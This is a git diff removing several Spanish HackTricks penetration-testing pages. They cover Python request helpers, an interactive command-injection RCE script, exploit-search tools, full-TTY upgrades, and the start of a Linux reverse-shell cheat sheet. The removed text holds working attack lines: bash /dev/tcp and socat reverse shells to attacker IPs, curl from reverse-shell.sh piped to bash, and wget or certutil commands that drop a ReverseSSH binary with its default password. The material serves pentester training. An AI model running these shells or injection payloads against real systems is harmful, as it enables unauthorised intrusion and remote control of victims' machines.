#Now, go to the folder you want to create the virtual environment
|
||||
python3 -m venv <Dirname>
|
||||
python3 -m venv pvenv #In this case the folder "pvenv" is going to be created
|
||||
source <Dirname>/bin/activate
|
||||
source pvenv/bin/activate #Activate the environment
|
||||
#You can now install whatever python library you need
|
||||
deactivate #To deactivate the virtual environment
|
||||
```
|
||||
|
||||
```bash
|
||||
The error
|
||||
error: invalid command 'bdist_wheel'
|
||||
is fixed running
|
||||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -1,136 +0,0 @@
|
|||
# Solicitudes web
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas** del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Solicitudes de Python
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = "http://example.com:80/some/path.php"
|
||||
params = {"p1":"value1", "p2":"value2"}
|
||||
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
|
||||
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
|
||||
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
|
||||
|
||||
#Regular Get requests sending parameters (params)
|
||||
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
|
||||
|
||||
code = gr.status_code
|
||||
ret_headers = gr.headers
|
||||
body_byte = gr.content
|
||||
body_text = gr.text
|
||||
ret_cookies = gr.cookies
|
||||
is_redirect = gr.is_redirect
|
||||
is_permanent_redirect = gr.is_permanent_redirect
|
||||
float_seconds = gr.elapsed.total_seconds() 10.231
|
||||
|
||||
#Regular Post requests sending parameters (data)
|
||||
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||||
|
||||
#Json Post requests sending parameters(json)
|
||||
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
|
||||
|
||||
#Post request sending a file(files) and extra values
|
||||
filedict = {"<FILE_PARAMETER_NAME>" : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
|
||||
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
|
||||
|
||||
#Useful for presenting results in boolean/time based injections
|
||||
print(f"\rflag: {flag}{char}", end="")
|
||||
|
||||
|
||||
|
||||
|
||||
##### Example Functions
|
||||
target = "http://10.10.10.10:8000"
|
||||
proxies = {}
|
||||
s = requests.Session()
|
||||
|
||||
def register(username, password):
|
||||
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
|
||||
def login(username, password):
|
||||
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
|
||||
return resp
|
||||
|
||||
def get_info(name):
|
||||
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
|
||||
guid = re.match('<a href="\/info\/([^"]*)">' + name + '</a>', resp.text)[1]
|
||||
return guid
|
||||
|
||||
def upload(guid, filename, data):
|
||||
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
|
||||
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
|
||||
return guid
|
||||
|
||||
def json_search(guid, search_string):
|
||||
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
|
||||
return resp.json()
|
||||
|
||||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Comando de Python para explotar una RCE
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
from cmd import Cmd
|
||||
|
||||
class Terminal(Cmd):
|
||||
prompt = "Inject => "
|
||||
|
||||
def default(self, args):
|
||||
output = RunCmd(args)
|
||||
print(output)
|
||||
|
||||
def RunCmd(cmd):
|
||||
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
|
||||
r = requests.post('http://10.10.10.127/select', data=data)
|
||||
page = r.text
|
||||
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
|
||||
if m:
|
||||
return m.group(1)
|
||||
else:
|
||||
return 1
|
||||
|
||||
|
||||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -1,79 +0,0 @@
|
|||
# Buscar Exploits
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
### Navegador
|
||||
|
||||
Siempre busque en "google" u otros: **\<nombre\_del\_servicio> \[versión] exploit**
|
||||
|
||||
También debe probar la **búsqueda de exploits de shodan** desde [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Útil para buscar exploits para servicios en **exploitdb desde la consola**.
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
searchsploit apache mod_ssl #Other example
|
||||
searchsploit -m 7618 #Paste the exploit in current directory
|
||||
searchsploit -p 7618[.c] #Show complete path
|
||||
searchsploit -x 7618[.c] #Open vi to inspect the exploit
|
||||
searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
||||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) es otra herramienta para buscar exploits.
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
msf> search platform:windows port:135 target:XP type:exploit
|
||||
```
|
||||
### PacketStorm
|
||||
|
||||
Si no se encuentra nada, intente buscar la tecnología utilizada dentro de [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
|
||||
### Vulners
|
||||
|
||||
También se puede buscar en la base de datos de Vulners: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
Esto busca exploits en otras bases de datos: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
 (1) (2).png>)
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
@ -1,37 +0,0 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# [**Shells - Linux**](linux.md)
|
||||
|
||||
# [**Shells - Windows**](windows.md)
|
||||
|
||||
# [**MSFVenom - CheatSheet**](msfvenom.md)
|
||||
|
||||
# [**TTYs completas**](full-ttys.md)
|
||||
|
||||
# **Shells generadas automáticamente**
|
||||
|
||||
* [**https://reverse-shell.sh/**](https://reverse-shell.sh/)
|
||||
* [**https://www.revshells.com/**](https://www.revshells.com/)
|
||||
* [**https://github.com/ShutdownRepo/shellerator**](https://github.com/ShutdownRepo/shellerator)
|
||||
* [**https://github.com/0x00-0x00/ShellPop**](https://github.com/0x00-0x00/ShellPop)
|
||||
* [**https://github.com/cybervaca/ShellReverse**](https://github.com/cybervaca/ShellReverse)
|
||||
* [**https://liftoff.github.io/pyminifier/**](https://liftoff.github.io/pyminifier/)
|
||||
* [**https://github.com/xct/xc/**](https://github.com/xct/xc/)
|
||||
* [**https://weibell.github.io/reverse-shell-generator/**](https://weibell.github.io/reverse-shell-generator/)
|
||||
* [**https://github.com/t0thkr1s/revshellgen**](https://github.com/t0thkr1s/revshellgen)
|
||||
* [**https://github.com/mthbernardes/rsg**](https://github.com/mthbernardes/rsg)
|
||||
|
|
@ -1,128 +0,0 @@
|
|||
# TTY completo
|
||||
|
||||
Tenga en cuenta que la shell que establezca en la variable `SHELL` **debe** estar **listada dentro** de _**/etc/shells**_ o `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Además, tenga en cuenta que los siguientes fragmentos solo funcionan en bash. Si está en zsh, cambie a bash antes de obtener la shell ejecutando `bash`.
|
||||
|
||||
#### Python
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
||||
|
||||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Puedes obtener el **número** de **filas** y **columnas** ejecutando **`stty -a`**
|
||||
{% endhint %}
|
||||
|
||||
#### script
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
script /dev/null -qc /bin/bash #/dev/null is to not store anything
|
||||
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### socat
|
||||
|
||||
Socat es una herramienta de red multipropósito que permite la creación de conexiones bidireccionales entre dos puntos. Es muy útil para redirigir puertos, tunelizar conexiones y mucho más. En el contexto de una shell completa, se puede utilizar para redirigir la entrada y salida estándar de un proceso a través de una conexión de red. Esto permite a un atacante interactuar con una shell remota como si estuviera en la máquina local.
|
||||
|
||||
Para utilizar socat, primero se debe establecer una conexión de red entre la máquina local y la remota. Por ejemplo, para redirigir la entrada y salida estándar de una shell remota a través de una conexión TCP, se puede ejecutar el siguiente comando en la máquina local:
|
||||
|
||||
```bash
|
||||
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:"bash -i"
|
||||
```
|
||||
|
||||
Esto establece un servidor TCP en el puerto 4444 de la máquina local y redirige la entrada y salida estándar de un proceso de shell a través de la conexión. Luego, en la máquina remota, se puede ejecutar el siguiente comando para conectarse al servidor y obtener una shell completa:
|
||||
|
||||
```bash
|
||||
socat TCP:<local-ip>:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
Donde `<local-ip>` es la dirección IP de la máquina local. Esto establece una conexión TCP con el servidor en la máquina local y redirige la entrada y salida estándar de un proceso de shell a través de la conexión. La opción `pty` se utiliza para asignar un pseudo-terminal a la shell remota, lo que permite la interacción con la shell como si estuviera en la máquina local.
|
||||
```bash
|
||||
#Listener:
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
|
||||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
```
|
||||
### **Generar shells**
|
||||
|
||||
* `python -c 'import pty; pty.spawn("/bin/sh")'`
|
||||
* `echo os.system('/bin/bash')`
|
||||
* `/bin/sh -i`
|
||||
* `script -qc /bin/bash /dev/null`
|
||||
* `perl -e 'exec "/bin/sh";'`
|
||||
* perl: `exec "/bin/sh";`
|
||||
* ruby: `exec "/bin/sh"`
|
||||
* lua: `os.execute('/bin/sh')`
|
||||
* IRB: `exec "/bin/sh"`
|
||||
* vi: `:!bash`
|
||||
* vi: `:set shell=/bin/bash:shell`
|
||||
* nmap: `!sh`
|
||||
|
||||
## ReverseSSH
|
||||
|
||||
Una forma conveniente de obtener acceso a una **shell interactiva**, así como para **transferir archivos** y **reenviar puertos**, es dejar caer el servidor ssh estáticamente vinculado [ReverseSSH](https://github.com/Fahrj/reverse-ssh) en el objetivo.
|
||||
|
||||
A continuación se muestra un ejemplo para `x86` con binarios comprimidos con upx. Para otros binarios, consulte la [página de lanzamientos](https://github.com/Fahrj/reverse-ssh/releases/latest/).
|
||||
|
||||
1. Preparar localmente para capturar la solicitud de reenvío de puerto ssh:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Drop it via your preferred way, e.g.
|
||||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||||
|
||||
/dev/shm/reverse-ssh -v -l -p 4444
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2a) Objetivo Linux:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Drop it via your preferred way, e.g.
|
||||
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
|
||||
|
||||
/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* (2b) Objetivo Windows 10 (para versiones anteriores, consulte el [readme del proyecto](https://github.com/Fahrj/reverse-ssh#features)):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Drop it via your preferred way, e.g.
|
||||
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
|
||||
|
||||
reverse-ssh.exe -p 4444 kali@10.0.0.2
|
||||
```
|
||||
* Si la solicitud de reenvío de puerto ReverseSSH fue exitosa, ahora deberías poder iniciar sesión con la contraseña predeterminada `letmeinbrudipls` en el contexto del usuario que ejecuta `reverse-ssh(.exe)`:
|
||||
```bash
|
||||
# Interactive shell access
|
||||
ssh -p 8888 127.0.0.1
|
||||
|
||||
# Bidirectional file transfer
|
||||
sftp -P 8888 127.0.0.1
|
||||
```
|
||||
## Sin TTY
|
||||
|
||||
Si por alguna razón no puedes obtener un TTY completo, **todavía puedes interactuar con programas** que esperan entrada de usuario. En el siguiente ejemplo, se pasa la contraseña a `sudo` para leer un archivo:
|
||||
```bash
|
||||
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,379 +0,0 @@
|
|||
# Shells - Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Si tienes preguntas sobre cualquiera de estas shells, puedes verificarlas con** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## TTY completo
|
||||
|
||||
**Una vez que obtengas una shell inversa**[ **lee esta página para obtener un TTY completo**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
|
||||
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
|
||||
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
|
||||
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
|
||||
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
|
||||
|
||||
#Short and bypass (credits to Dikline)
|
||||
(sh)0>/dev/tcp/10.10.10.10/9091
|
||||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
No olvides comprobar con otros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh y bash.
|
||||
|
||||
### Shell seguro de símbolos
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
||||
#Stealthier method
|
||||
